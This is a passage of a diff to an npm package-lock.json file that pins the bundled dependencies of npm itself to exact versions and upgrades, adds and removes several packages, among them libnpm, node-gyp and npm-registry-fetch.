+ "version": "1.1.1",
+ "bundled": true,
+ "requires": {
+ "safe-buffer": "5.1.2"
+ }
+ }
}
},
"forever-agent": {
@@ -11470,48 +12251,90 @@
"version": "2.3.2",
"bundled": true,
"requires": {
- "asynckit": "^0.4.0",
+ "asynckit": "0.4.0",
"combined-stream": "1.0.6",
- "mime-types": "^2.1.12"
+ "mime-types": "2.1.19"
}
},
"from2": {
"version": "2.3.0",
"bundled": true,
"requires": {
- "inherits": "^2.0.1",
- "readable-stream": "^2.0.0"
+ "inherits": "2.0.4",
+ "readable-stream": "2.3.6"
+ },
+ "dependencies": {
+ "readable-stream": {
+ "version": "2.3.6",
+ "bundled": true,
+ "requires": {
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.4",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.0",
+ "safe-buffer": "5.1.2",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
+ }
+ },
+ "string_decoder": {
+ "version": "1.1.1",
+ "bundled": true,
+ "requires": {
+ "safe-buffer": "5.1.2"
+ }
+ }
}
},
"fs-minipass": {
- "version": "1.2.5",
+ "version": "1.2.6",
"bundled": true,
"requires": {
- "minipass": "^2.2.1"
+ "minipass": "2.3.3"
}
},
"fs-vacuum": {
"version": "1.2.10",
"bundled": true,
"requires": {
- "graceful-fs": "^4.1.2",
- "path-is-inside": "^1.0.1",
- "rimraf": "^2.5.2"
+ "graceful-fs": "4.2.2",
+ "path-is-inside": "1.0.2",
+ "rimraf": "2.6.3"
}
},
"fs-write-stream-atomic": {
"version": "1.0.10",
"bundled": true,
"requires": {
- "graceful-fs": "^4.1.2",
- "iferr": "^0.1.5",
- "imurmurhash": "^0.1.4",
- "readable-stream": "1 || 2"
+ "graceful-fs": "4.2.2",
+ "iferr": "0.1.5",
+ "imurmurhash": "0.1.4",
+ "readable-stream": "2.3.6"
},
"dependencies": {
"iferr": {
"version": "0.1.5",
"bundled": true
+ },
+ "readable-stream": {
+ "version": "2.3.6",
+ "bundled": true,
+ "requires": {
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.4",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.0",
+ "safe-buffer": "5.1.2",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
+ }
+ },
+ "string_decoder": {
+ "version": "1.1.1",
+ "bundled": true,
+ "requires": {
+ "safe-buffer": "5.1.2"
+ }
}
}
},
@@ -11519,59 +12342,63 @@
"version": "1.0.0",
"bundled": true
},
- "fstream": {
- "version": "1.0.11",
- "bundled": true,
- "requires": {
- "graceful-fs": "^4.1.2",
- "inherits": "~2.0.0",
- "mkdirp": ">=0.5 0",
- "rimraf": "2"
- }
+ "function-bind": {
+ "version": "1.1.1",
+ "bundled": true
},
"gauge": {
"version": "2.7.4",
"bundled": true,
"requires": {
- "aproba": "^1.0.3",
- "console-control-strings": "^1.0.0",
- "has-unicode": "^2.0.0",
- "object-assign": "^4.1.0",
- "signal-exit": "^3.0.0",
- "string-width": "^1.0.1",
- "strip-ansi": "^3.0.1",
- "wide-align": "^1.1.0"
+ "aproba": "1.2.0",
+ "console-control-strings": "1.1.0",
+ "has-unicode": "2.0.1",
+ "object-assign": "4.1.1",
+ "signal-exit": "3.0.2",
+ "string-width": "1.0.2",
+ "strip-ansi": "3.0.1",
+ "wide-align": "1.1.2"
},
"dependencies": {
+ "aproba": {
+ "version": "1.2.0",
+ "bundled": true
+ },
"string-width": {
"version": "1.0.2",
"bundled": true,
"requires": {
- "code-point-at": "^1.0.0",
- "is-fullwidth-code-point": "^1.0.0",
- "strip-ansi": "^3.0.0"
+ "code-point-at": "1.1.0",
+ "is-fullwidth-code-point": "1.0.0",
+ "strip-ansi": "3.0.1"
}
}
}
},
"genfun": {
- "version": "4.0.1",
+ "version": "5.0.0",
"bundled": true
},
"gentle-fs": {
- "version": "2.0.1",
+ "version": "2.2.1",
"bundled": true,
"requires": {
- "aproba": "^1.1.2",
- "fs-vacuum": "^1.2.10",
- "graceful-fs": "^4.1.11",
- "iferr": "^0.1.5",
- "mkdirp": "^0.5.1",
- "path-is-inside": "^1.0.2",
- "read-cmd-shim": "^1.0.1",
- "slide": "^1.1.6"
+ "aproba": "1.2.0",
+ "chownr": "1.1.2",
+ "fs-vacuum": "1.2.10",
+ "graceful-fs": "4.2.2",
+ "iferr": "0.1.5",
+ "infer-owner": "1.0.4",
+ "mkdirp": "0.5.1",
+ "path-is-inside": "1.0.2",
+ "read-cmd-shim": "1.0.4",
+ "slide": "1.1.6"
},
"dependencies": {
+ "aproba": {
+ "version": "1.2.0",
+ "bundled": true
+ },
"iferr": {
"version": "0.1.5",
"bundled": true
@@ -11583,54 +12410,63 @@
"bundled": true
},
"get-stream": {
- "version": "3.0.0",
- "bundled": true
+ "version": "4.1.0",
+ "bundled": true,
+ "requires": {
+ "pump": "3.0.0"
+ }
},
"getpass": {
"version": "0.1.7",
"bundled": true,
"requires": {
- "assert-plus": "^1.0.0"
+ "assert-plus": "1.0.0"
}
},
"glob": {
- "version": "7.1.2",
+ "version": "7.1.4",
"bundled": true,
"requires": {
- "fs.realpath": "^1.0.0",
- "inflight": "^1.0.4",
- "inherits": "2",
- "minimatch": "^3.0.4",
- "once": "^1.3.0",
- "path-is-absolute": "^1.0.0"
+ "fs.realpath": "1.0.0",
+ "inflight": "1.0.6",
+ "inherits": "2.0.4",
+ "minimatch": "3.0.4",
+ "once": "1.4.0",
+ "path-is-absolute": "1.0.1"
}
},
"global-dirs": {
"version": "0.1.1",
"bundled": true,
"requires": {
- "ini": "^1.3.4"
+ "ini": "1.3.5"
}
},
"got": {
"version": "6.7.1",
"bundled": true,
"requires": {
- "create-error-class": "^3.0.0",
- "duplexer3": "^0.1.4",
- "get-stream": "^3.0.0",
- "is-redirect": "^1.0.0",
- "is-retry-allowed": "^1.0.0",
- "is-stream": "^1.0.0",
- "lowercase-keys": "^1.0.0",
- "safe-buffer": "^5.0.1",
- "timed-out": "^4.0.0",
- "unzip-response": "^2.0.1",
- "url-parse-lax": "^1.0.0"
+ "create-error-class": "3.0.2",
+ "duplexer3": "0.1.4",
+ "get-stream": "3.0.0",
+ "is-redirect": "1.0.0",
+ "is-retry-allowed": "1.1.0",
+ "is-stream": "1.1.0",
+ "lowercase-keys": "1.0.1",
+ "safe-buffer": "5.1.2",
+ "timed-out": "4.0.1",
+ "unzip-response": "2.0.1",
+ "url-parse-lax": "1.0.0"
+ },
+ "dependencies": {
+ "get-stream": {
+ "version": "3.0.0",
+ "bundled": true
+ }
}
},
"graceful-fs": {
- "version": "4.1.11",
+ "version": "4.2.2",
"bundled": true
},
"har-schema": {
@@ -11641,21 +12477,35 @@
"version": "5.1.0",
"bundled": true,
"requires": {
- "ajv": "^5.3.0",
- "har-schema": "^2.0.0"
+ "ajv": "5.5.2",
+ "har-schema": "2.0.0"
+ }
+ },
+ "has": {
+ "version": "1.0.3",
+ "bundled": true,
+ "requires": {
+ "function-bind": "1.1.1"
}
},
"has-flag": {
"version": "3.0.0",
"bundled": true
},
+ "has-symbols": {
+ "version": "1.0.0",
+ "bundled": true
+ },
"has-unicode": {
"version": "2.0.1",
"bundled": true
},
"hosted-git-info": {
- "version": "2.7.1",
- "bundled": true
+ "version": "2.8.2",
+ "bundled": true,
+ "requires": {
+ "lru-cache": "5.1.1"
+ }
},
"http-cache-semantics": {
"version": "3.8.1",
@@ -11665,7 +12515,7 @@
"version": "2.1.0",
"bundled": true,
"requires": {
- "agent-base": "4",
+ "agent-base": "4.3.0",
"debug": "3.1.0"
}
},
@@ -11673,31 +12523,31 @@
"version": "1.2.0",
"bundled": true,
"requires": {
- "assert-plus": "^1.0.0",
- "jsprim": "^1.2.2",
- "sshpk": "^1.7.0"
+ "assert-plus": "1.0.0",
+ "jsprim": "1.4.1",
+ "sshpk": "1.14.2"
}
},
"https-proxy-agent": {
- "version": "2.2.1",
+ "version": "2.2.2",
"bundled": true,
"requires": {
- "agent-base": "^4.1.0",
- "debug": "^3.1.0"
+ "agent-base": "4.3.0",
+ "debug": "3.1.0"
}
},
"humanize-ms": {
"version": "1.2.1",
"bundled": true,
"requires": {
- "ms": "^2.0.0"
+ "ms": "2.1.1"
}
},
"iconv-lite": {
"version": "0.4.23",
"bundled": true,
"requires": {
- "safer-buffer": ">= 2.1.2 < 3"
+ "safer-buffer": "2.1.2"
}
},
"iferr": {
@@ -11708,7 +12558,7 @@
"version": "3.0.1",
"bundled": true,
"requires": {
- "minimatch": "^3.0.4"
+ "minimatch": "3.0.4"
}
},
"import-lazy": {
@@ -11719,16 +12569,20 @@
"version": "0.1.4",
"bundled": true
},
+ "infer-owner": {
+ "version": "1.0.4",
+ "bundled": true
+ },
"inflight": {
"version": "1.0.6",
"bundled": true,
"requires": {
- "once": "^1.3.0",
- "wrappy": "1"
+ "once": "1.4.0",
+ "wrappy": "1.0.2"
}
},
"inherits": {
- "version": "2.0.3",
+ "version": "2.0.4",
"bundled": true
},
"ini": {
@@ -11739,14 +12593,14 @@
"version": "1.10.3",
"bundled": true,
"requires": {
- "glob": "^7.1.1",
- "npm-package-arg": "^4.0.0 || ^5.0.0 || ^6.0.0",
- "promzard": "^0.3.0",
- "read": "~1.0.1",
- "read-package-json": "1 || 2",
- "semver": "2.x || 3.x || 4 || 5",
- "validate-npm-package-license": "^3.0.1",
- "validate-npm-package-name": "^3.0.0"
+ "glob": "7.1.4",
+ "npm-package-arg": "6.1.1",
+ "promzard": "0.3.0",
+ "read": "1.0.7",
+ "read-package-json": "2.1.0",
+ "semver": "5.7.1",
+ "validate-npm-package-license": "3.0.4",
+ "validate-npm-package-name": "3.0.0"
}
},
"invert-kv": {
@@ -11761,40 +12615,47 @@
"version": "2.1.0",
"bundled": true
},
- "is-builtin-module": {
- "version": "1.0.0",
- "bundled": true,
- "requires": {
- "builtin-modules": "^1.0.0"
- }
+ "is-callable": {
+ "version": "1.1.4",
+ "bundled": true
},
"is-ci": {
"version": "1.1.0",
"bundled": true,
"requires": {
- "ci-info": "^1.0.0"
+ "ci-info": "1.6.0"
+ },
+ "dependencies": {
+ "ci-info": {
+ "version": "1.6.0",
+ "bundled": true
+ }
}
},
"is-cidr": {
- "version": "2.0.6",
+ "version": "3.0.0",
"bundled": true,
"requires": {
- "cidr-regex": "^2.0.8"
+ "cidr-regex": "2.0.10"
}
},
+ "is-date-object": {
+ "version": "1.0.1",
+ "bundled": true
+ },
"is-fullwidth-code-point": {
"version": "1.0.0",
"bundled": true,
"requires": {
- "number-is-nan": "^1.0.0"
+ "number-is-nan": "1.0.1"
}
},
"is-installed-globally": {
"version": "0.1.0",
"bundled": true,
"requires": {
- "global-dirs": "^0.1.0",
- "is-path-inside": "^1.0.0"
+ "global-dirs": "0.1.1",
+ "is-path-inside": "1.0.1"
}
},
"is-npm": {
@@ -11809,13 +12670,20 @@
"version": "1.0.1",
"bundled": true,
"requires": {
- "path-is-inside": "^1.0.1"
+ "path-is-inside": "1.0.2"
}
},
"is-redirect": {
"version": "1.0.0",
"bundled": true
},
+ "is-regex": {
+ "version": "1.0.4",
+ "bundled": true,
+ "requires": {
+ "has": "1.0.3"
+ }
+ },
"is-retry-allowed": {
"version": "1.1.0",
"bundled": true
@@ -11824,6 +12692,13 @@
"version": "1.1.0",
"bundled": true
},
+ "is-symbol": {
+ "version": "1.0.2",
+ "bundled": true,
+ "requires": {
+ "has-symbols": "1.0.0"
+ }
+ },
"is-typedarray": {
"version": "1.0.0",
"bundled": true
@@ -11879,7 +12754,7 @@
"version": "3.1.0",
"bundled": true,
"requires": {
- "package-json": "^4.0.0"
+ "package-json": "4.0.1"
}
},
"lazy-property": {
@@ -11890,85 +12765,199 @@
"version": "1.0.0",
"bundled": true,
"requires": {
- "invert-kv": "^1.0.0"
+ "invert-kv": "1.0.0"
}
},
"libcipm": {
- "version": "2.0.2",
+ "version": "4.0.3",
"bundled": true,
"requires": {
- "bin-links": "^1.1.2",
- "bluebird": "^3.5.1",
- "find-npm-prefix": "^1.0.2",
- "graceful-fs": "^4.1.11",
- "lock-verify": "^2.0.2",
- "mkdirp": "^0.5.1",
- "npm-lifecycle": "^2.0.3",
- "npm-logical-tree": "^1.2.1",
- "npm-package-arg": "^6.1.0",
- "pacote": "^8.1.6",
- "protoduck": "^5.0.0",
- "read-package-json": "^2.0.13",
- "rimraf": "^2.6.2",
- "worker-farm": "^1.6.0"
+ "bin-links": "1.1.3",
+ "bluebird": "3.5.5",
+ "figgy-pudding": "3.5.1",
+ "find-npm-prefix": "1.0.2",
+ "graceful-fs": "4.2.2",
+ "ini": "1.3.5",
+ "lock-verify": "2.1.0",
+ "mkdirp": "0.5.1",
+ "npm-lifecycle": "3.1.3",
+ "npm-logical-tree": "1.2.1",
+ "npm-package-arg": "6.1.1",
+ "pacote": "9.5.8",
+ "read-package-json": "2.1.0",
+ "rimraf": "2.6.3",
+ "worker-farm": "1.7.0"
+ }
+ },
+ "libnpm": {
+ "version": "3.0.1",
+ "bundled": true,
+ "requires": {
+ "bin-links": "1.1.3",
+ "bluebird": "3.5.5",
+ "find-npm-prefix": "1.0.2",
+ "libnpmaccess": "3.0.2",
+ "libnpmconfig": "1.2.1",
+ "libnpmhook": "5.0.3",
+ "libnpmorg": "1.0.1",
+ "libnpmpublish": "1.1.2",
+ "libnpmsearch": "2.0.2",
+ "libnpmteam": "1.0.2",
+ "lock-verify": "2.1.0",
+ "npm-lifecycle": "3.1.3",
+ "npm-logical-tree": "1.2.1",
+ "npm-package-arg": "6.1.1",
+ "npm-profile": "4.0.2",
+ "npm-registry-fetch": "4.0.0",
+ "npmlog": "4.1.2",
+ "pacote": "9.5.8",
+ "read-package-json": "2.1.0",
+ "stringify-package": "1.0.0"
+ }
+ },
+ "libnpmaccess": {
+ "version": "3.0.2",
+ "bundled": true,
+ "requires": {
+ "aproba": "2.0.0",
+ "get-stream": "4.1.0",
+ "npm-package-arg": "6.1.1",
+ "npm-registry-fetch": "4.0.0"
+ }
+ },
+ "libnpmconfig": {
+ "version": "1.2.1",
+ "bundled": true,
+ "requires": {
+ "figgy-pudding": "3.5.1",
+ "find-up": "3.0.0",
+ "ini": "1.3.5"
+ },
+ "dependencies": {
+ "find-up": {
+ "version": "3.0.0",
+ "bundled": true,
+ "requires": {
+ "locate-path": "3.0.0"
+ }
+ },
+ "locate-path": {
+ "version": "3.0.0",
+ "bundled": true,
+ "requires": {
+ "p-locate": "3.0.0",
+ "path-exists": "3.0.0"
+ }
+ },
+ "p-limit": {
+ "version": "2.2.0",
+ "bundled": true,
+ "requires": {
+ "p-try": "2.2.0"
+ }
+ },
+ "p-locate": {
+ "version": "3.0.0",
+ "bundled": true,
+ "requires": {
+ "p-limit": "2.2.0"
+ }
+ },
+ "p-try": {
+ "version": "2.2.0",
+ "bundled": true
+ }
}
},
"libnpmhook": {
- "version": "4.0.1",
+ "version": "5.0.3",
"bundled": true,
"requires": {
- "figgy-pudding": "^3.1.0",
- "npm-registry-fetch": "^3.0.0"
- },
- "dependencies": {
- "npm-registry-fetch": {
- "version": "3.1.1",
- "bundled": true,
- "requires": {
- "bluebird": "^3.5.1",
- "figgy-pudding": "^3.1.0",
- "lru-cache": "^4.1.2",
- "make-fetch-happen": "^4.0.0",
- "npm-package-arg": "^6.0.0"
- }
- }
+ "aproba": "2.0.0",
+ "figgy-pudding": "3.5.1",
+ "get-stream": "4.1.0",
+ "npm-registry-fetch": "4.0.0"
+ }
+ },
+ "libnpmorg": {
+ "version": "1.0.1",
+ "bundled": true,
+ "requires": {
+ "aproba": "2.0.0",
+ "figgy-pudding": "3.5.1",
+ "get-stream": "4.1.0",
+ "npm-registry-fetch": "4.0.0"
+ }
+ },
+ "libnpmpublish": {
+ "version": "1.1.2",
+ "bundled": true,
+ "requires": {
+ "aproba": "2.0.0",
+ "figgy-pudding": "3.5.1",
+ "get-stream": "4.1.0",
+ "lodash.clonedeep": "4.5.0",
+ "normalize-package-data": "2.5.0",
+ "npm-package-arg": "6.1.1",
+ "npm-registry-fetch": "4.0.0",
+ "semver": "5.7.1",
+ "ssri": "6.0.1"
+ }
+ },
+ "libnpmsearch": {
+ "version": "2.0.2",
+ "bundled": true,
+ "requires": {
+ "figgy-pudding": "3.5.1",
+ "get-stream": "4.1.0",
+ "npm-registry-fetch": "4.0.0"
+ }
+ },
+ "libnpmteam": {
+ "version": "1.0.2",
+ "bundled": true,
+ "requires": {
+ "aproba": "2.0.0",
+ "figgy-pudding": "3.5.1",
+ "get-stream": "4.1.0",
+ "npm-registry-fetch": "4.0.0"
}
},
"libnpx": {
"version": "10.2.0",
"bundled": true,
"requires": {
- "dotenv": "^5.0.1",
- "npm-package-arg": "^6.0.0",
- "rimraf": "^2.6.2",
- "safe-buffer": "^5.1.0",
- "update-notifier": "^2.3.0",
- "which": "^1.3.0",
- "y18n": "^4.0.0",
- "yargs": "^11.0.0"
+ "dotenv": "5.0.1",
+ "npm-package-arg": "6.1.1",
+ "rimraf": "2.6.3",
+ "safe-buffer": "5.1.2",
+ "update-notifier": "2.5.0",
+ "which": "1.3.1",
+ "y18n": "4.0.0",
+ "yargs": "11.0.0"
}
},
"locate-path": {
"version": "2.0.0",
"bundled": true,
"requires": {
- "p-locate": "^2.0.0",
- "path-exists": "^3.0.0"
+ "p-locate": "2.0.0",
+ "path-exists": "3.0.0"
}
},
"lock-verify": {
- "version": "2.0.2",
+ "version": "2.1.0",
"bundled": true,
"requires": {
- "npm-package-arg": "^5.1.2 || 6",
- "semver": "^5.4.1"
+ "npm-package-arg": "6.1.1",
+ "semver": "5.7.1"
}
},
"lockfile": {
"version": "1.0.4",
"bundled": true,
"requires": {
- "signal-exit": "^3.0.2"
+ "signal-exit": "3.0.2"
}
},
"lodash._baseindexof": {
@@ -11979,8 +12968,8 @@
"version": "4.6.0",
"bundled": true,
"requires": {
- "lodash._createset": "~4.0.0",
- "lodash._root": "~3.0.0"
+ "lodash._createset": "4.0.3",
+ "lodash._root": "3.0.1"
}
},
"lodash._bindcallback": {
@@ -11995,7 +12984,7 @@
"version": "3.1.2",
"bundled": true,
"requires": {
- "lodash._getnative": "^3.0.0"
+ "lodash._getnative": "3.9.1"
}
},
"lodash._createset": {
@@ -12035,35 +13024,34 @@
"bundled": true
},
"lru-cache": {
- "version": "4.1.3",
+ "version": "5.1.1",
"bundled": true,
"requires": {
- "pseudomap": "^1.0.2",
- "yallist": "^2.1.2"
+ "yallist": "3.0.3"
}
},
"make-dir": {
"version": "1.3.0",
"bundled": true,
"requires": {
- "pify": "^3.0.0"
+ "pify": "3.0.0"
}
},
"make-fetch-happen": {
- "version": "4.0.1",
+ "version": "5.0.0",
"bundled": true,
"requires": {
- "agentkeepalive": "^3.4.1",
- "cacache": "^11.0.1",
- "http-cache-semantics": "^3.8.1",
- "http-proxy-agent": "^2.1.0",
- "https-proxy-agent": "^2.2.1",
- "lru-cache": "^4.1.2",
- "mississippi": "^3.0.0",
- "node-fetch-npm": "^2.0.2",
- "promise-retry": "^1.1.1",
- "socks-proxy-agent": "^4.0.0",
- "ssri": "^6.0.0"
+ "agentkeepalive": "3.5.2",
+ "cacache": "12.0.3",
+ "http-cache-semantics": "3.8.1",
+ "http-proxy-agent": "2.1.0",
+ "https-proxy-agent": "2.2.2",
+ "lru-cache": "5.1.1",
+ "mississippi": "3.0.0",
+ "node-fetch-npm": "2.0.2",
+ "promise-retry": "1.1.1",
+ "socks-proxy-agent": "4.0.2",
+ "ssri": "6.0.1"
}
},
"meant": {
@@ -12074,7 +13062,7 @@
"version": "1.1.0",
"bundled": true,
"requires": {
- "mimic-fn": "^1.0.0"
+ "mimic-fn": "1.2.0"
}
},
"mime-db": {
@@ -12085,7 +13073,7 @@
"version": "2.1.19",
"bundled": true,
"requires": {
- "mime-db": "~1.35.0"
+ "mime-db": "1.35.0"
}
},
"mimic-fn": {
@@ -12096,7 +13084,7 @@
"version": "3.0.4",
"bundled": true,
"requires": {
- "brace-expansion": "^1.1.7"
+ "brace-expansion": "1.1.11"
}
},
"minimist": {
@@ -12107,8 +13095,8 @@
"version": "2.3.3",
"bundled": true,
"requires": {
- "safe-buffer": "^5.1.2",
- "yallist": "^3.0.0"
+ "safe-buffer": "5.1.2",
+ "yallist": "3.0.2"
},
"dependencies": {
"yallist": {
@@ -12118,26 +13106,26 @@
}
},
"minizlib": {
- "version": "1.1.0",
+ "version": "1.2.1",
"bundled": true,
"requires": {
- "minipass": "^2.2.1"
+ "minipass": "2.3.3"
}
},
"mississippi": {
"version": "3.0.0",
"bundled": true,
"requires": {
- "concat-stream": "^1.5.0",
- "duplexify": "^3.4.2",
- "end-of-stream": "^1.1.0",
- "flush-write-stream": "^1.0.0",
- "from2": "^2.1.0",
- "parallel-transform": "^1.1.0",
- "pump": "^3.0.0",
- "pumpify": "^1.3.3",
- "stream-each": "^1.1.0",
- "through2": "^2.0.0"
+ "concat-stream": "1.6.2",
+ "duplexify": "3.6.0",
+ "end-of-stream": "1.4.1",
+ "flush-write-stream": "1.0.3",
+ "from2": "2.3.0",
+ "parallel-transform": "1.1.0",
+ "pump": "3.0.0",
+ "pumpify": "1.5.1",
+ "stream-each": "1.2.2",
+ "through2": "2.0.3"
}
},
"mkdirp": {
@@ -12151,12 +13139,18 @@
"version": "1.0.1",
"bundled": true,
"requires": {
- "aproba": "^1.1.1",
- "copy-concurrently": "^1.0.0",
- "fs-write-stream-atomic": "^1.0.8",
- "mkdirp": "^0.5.1",
- "rimraf": "^2.5.4",
- "run-queue": "^1.0.3"
+ "aproba": "1.2.0",
+ "copy-concurrently": "1.0.5",
+ "fs-write-stream-atomic": "1.0.10",
+ "mkdirp": "0.5.1",
+ "rimraf": "2.6.3",
+ "run-queue": "1.0.3"
+ },
+ "dependencies": {
+ "aproba": {
+ "version": "1.2.0",
+ "bundled": true
+ }
}
},
"ms": {
@@ -12171,48 +13165,38 @@
"version": "2.0.2",
"bundled": true,
"requires": {
- "encoding": "^0.1.11",
- "json-parse-better-errors": "^1.0.0",
- "safe-buffer": "^5.1.1"
+ "encoding": "0.1.12",
+ "json-parse-better-errors": "1.0.2",
+ "safe-buffer": "5.1.2"
}
},
"node-gyp": {
- "version": "3.8.0",
+ "version": "5.0.3",
"bundled": true,
"requires": {
- "fstream": "^1.0.0",
- "glob": "^7.0.3",
- "graceful-fs": "^4.1.2",
- "mkdirp": "^0.5.0",
- "nopt": "2 || 3",
- "npmlog": "0 || 1 || 2 || 3 || 4",
- "osenv": "0",
- "request": "^2.87.0",
- "rimraf": "2",
- "semver": "~5.3.0",
- "tar": "^2.0.0",
- "which": "1"
+ "env-paths": "1.0.0",
+ "glob": "7.1.4",
+ "graceful-fs": "4.2.2",
+ "mkdirp": "0.5.1",
+ "nopt": "3.0.6",
+ "npmlog": "4.1.2",
+ "request": "2.88.0",
+ "rimraf": "2.6.3",
+ "semver": "5.3.0",
+ "tar": "4.4.10",
+ "which": "1.3.1"
},
"dependencies": {
"nopt": {
"version": "3.0.6",
"bundled": true,
"requires": {
- "abbrev": "1"
+ "abbrev": "1.1.1"
}
},
"semver": {
"version": "5.3.0",
"bundled": true
- },
- "tar": {
- "version": "2.2.1",
- "bundled": true,
- "requires": {
- "block-stream": "*",
- "fstream": "^1.0.2",
- "inherits": "2"
- }
}
}
},
@@ -12220,30 +13204,39 @@
"version": "4.0.1",
"bundled": true,
"requires": {
- "abbrev": "1",
- "osenv": "^0.1.4"
+ "abbrev": "1.1.1",
+ "osenv": "0.1.5"
}
},
"normalize-package-data": {
- "version": "2.4.0",
+ "version": "2.5.0",
"bundled": true,
"requires": {
- "hosted-git-info": "^2.1.4",
- "is-builtin-module": "^1.0.0",
- "semver": "2 || 3 || 4 || 5",
- "validate-npm-package-license": "^3.0.1"
+ "hosted-git-info": "2.8.2",
+ "resolve": "1.10.0",
+ "semver": "5.7.1",
+ "validate-npm-package-license": "3.0.4"
+ },
+ "dependencies": {
+ "resolve": {
+ "version": "1.10.0",
+ "bundled": true,
+ "requires": {
+ "path-parse": "1.0.6"
+ }
+ }
}
},
"npm-audit-report": {
- "version": "1.3.1",
+ "version": "1.3.2",
"bundled": true,
"requires": {
- "cli-table3": "^0.5.0",
- "console-control-strings": "^1.1.0"
+ "cli-table3": "0.5.1",
+ "console-control-strings": "1.1.0"
}
},
"npm-bundled": {
- "version": "1.0.5",
+ "version": "1.0.6",
"bundled": true
},
"npm-cache-filename": {
@@ -12254,21 +13247,21 @@
"version": "3.0.0",
"bundled": true,
"requires": {
- "semver": "^2.3.0 || 3.x || 4 || 5"
+ "semver": "5.7.1"
}
},
"npm-lifecycle": {
- "version": "2.1.0",
+ "version": "3.1.3",
"bundled": true,
"requires": {
- "byline": "^5.0.0",
- "graceful-fs": "^4.1.11",
- "node-gyp": "^3.8.0",
- "resolve-from": "^4.0.0",
- "slide": "^1.1.6",
+ "byline": "5.0.0",
+ "graceful-fs": "4.2.2",
+ "node-gyp": "5.0.3",
+ "resolve-from": "4.0.0",
+ "slide": "1.1.6",
"uid-number": "0.0.6",
- "umask": "^1.1.0",
- "which": "^1.3.1"
+ "umask": "1.1.0",
+ "which": "1.3.1"
}
},
"npm-logical-tree": {
@@ -12276,182 +13269,58 @@
"bundled": true
},
"npm-package-arg": {
- "version": "6.1.0",
+ "version": "6.1.1",
"bundled": true,
"requires": {
- "hosted-git-info": "^2.6.0",
- "osenv": "^0.1.5",
- "semver": "^5.5.0",
- "validate-npm-package-name": "^3.0.0"
+ "hosted-git-info": "2.8.2",
+ "osenv": "0.1.5",
+ "semver": "5.7.1",
+ "validate-npm-package-name": "3.0.0"
}
},
"npm-packlist": {
- "version": "1.1.11",
+ "version": "1.4.4",
"bundled": true,
"requires": {
- "ignore-walk": "^3.0.1",
- "npm-bundled": "^1.0.1"
+ "ignore-walk": "3.0.1",
+ "npm-bundled": "1.0.6"
}
},
"npm-pick-manifest": {
- "version": "2.1.0",
- "bundled": true,
- "requires": {
- "npm-package-arg": "^6.0.0",
- "semver": "^5.4.1"
- }
- },
- "npm-profile": {
"version": "3.0.2",
"bundled": true,
"requires": {
- "aproba": "^1.1.2 || 2",
- "make-fetch-happen": "^2.5.0 || 3 || 4"
+ "figgy-pudding": "3.5.1",
+ "npm-package-arg": "6.1.1",
+ "semver": "5.7.1"
}
},
- "npm-registry-client": {
- "version": "8.6.0",
+ "npm-profile": {
+ "version": "4.0.2",
"bundled": true,
"requires": {
- "concat-stream": "^1.5.2",
- "graceful-fs": "^4.1.6",
- "normalize-package-data": "~1.0.1 || ^2.0.0",
- "npm-package-arg": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0",
- "npmlog": "2 || ^3.1.0 || ^4.0.0",
- "once": "^1.3.3",
- "request": "^2.74.0",
- "retry": "^0.10.0",
- "safe-buffer": "^5.1.1",
- "semver": "2 >=2.2.1 || 3.x || 4 || 5",
- "slide": "^1.1.3",
- "ssri": "^5.2.4"
- },
- "dependencies": {
- "retry": {
- "version": "0.10.1",
- "bundled": true
- },
- "ssri": {
- "version": "5.3.0",
- "bundled": true,
- "requires": {
- "safe-buffer": "^5.1.1"
- }
- }
+ "aproba": "2.0.0",
+ "figgy-pudding": "3.5.1",
+ "npm-registry-fetch": "4.0.0"
}
},
"npm-registry-fetch": {
- "version": "1.1.0",
+ "version": "4.0.0",
"bundled": true,
"requires": {
- "bluebird": "^3.5.1",
- "figgy-pudding": "^2.0.1",
- "lru-cache": "^4.1.2",
- "make-fetch-happen": "^3.0.0",
- "npm-package-arg": "^6.0.0",
- "safe-buffer": "^5.1.1"
- },
- "dependencies": {
- "cacache": {
- "version": "10.0.4",
- "bundled": true,
- "requires": {
- "bluebird": "^3.5.1",
- "chownr": "^1.0.1",
- "glob": "^7.1.2",
- "graceful-fs": "^4.1.11",
- "lru-cache": "^4.1.1",
- "mississippi": "^2.0.0",
- "mkdirp": "^0.5.1",
- "move-concurrently": "^1.0.1",
- "promise-inflight": "^1.0.1",
- "rimraf": "^2.6.2",
- "ssri": "^5.2.4",
- "unique-filename": "^1.1.0",
- "y18n": "^4.0.0"
- },
- "dependencies": {
- "mississippi": {
- "version": "2.0.0",
- "bundled": true,
- "requires": {
- "concat-stream": "^1.5.0",
- "duplexify": "^3.4.2",
- "end-of-stream": "^1.1.0",
- "flush-write-stream": "^1.0.0",
- "from2": "^2.1.0",
- "parallel-transform": "^1.1.0",
- "pump": "^2.0.1",
- "pumpify": "^1.3.3",
- "stream-each": "^1.1.0",
- "through2": "^2.0.0"
- }
- }
- }
- },
- "figgy-pudding": {
- "version": "2.0.1",
- "bundled": true
- },
- "make-fetch-happen": {
- "version": "3.0.0",
- "bundled": true,
- "requires": {
- "agentkeepalive": "^3.4.1",
- "cacache": "^10.0.4",
- "http-cache-semantics": "^3.8.1",
- "http-proxy-agent": "^2.1.0",
- "https-proxy-agent": "^2.2.0",
- "lru-cache": "^4.1.2",
- "mississippi": "^3.0.0",
- "node-fetch-npm": "^2.0.2",
- "promise-retry": "^1.1.1",
- "socks-proxy-agent": "^3.0.1",
- "ssri": "^5.2.4"
- }
- },
- "pump": {
- "version": "2.0.1",
- "bundled": true,
- "requires": {
- "end-of-stream": "^1.1.0",
- "once": "^1.3.1"
- }
- },
- "smart-buffer": {
- "version": "1.1.15",
- "bundled": true
- },
- "socks": {
- "version": "1.1.10",
- "bundled": true,
- "requires": {
- "ip": "^1.1.4",
- "smart-buffer": "^1.0.13"
- }
- },
- "socks-proxy-agent": {
- "version": "3.0.1",
- "bundled": true,
- "requires": {
- "agent-base": "^4.1.0",
- "socks": "^1.1.10"
- }
- },
- "ssri": {
- "version": "5.3.0",
- "bundled": true,
- "requires": {
- "safe-buffer": "^5.1.1"
- }
- }
+ "JSONStream": "1.3.5",
+ "bluebird": "3.5.5",
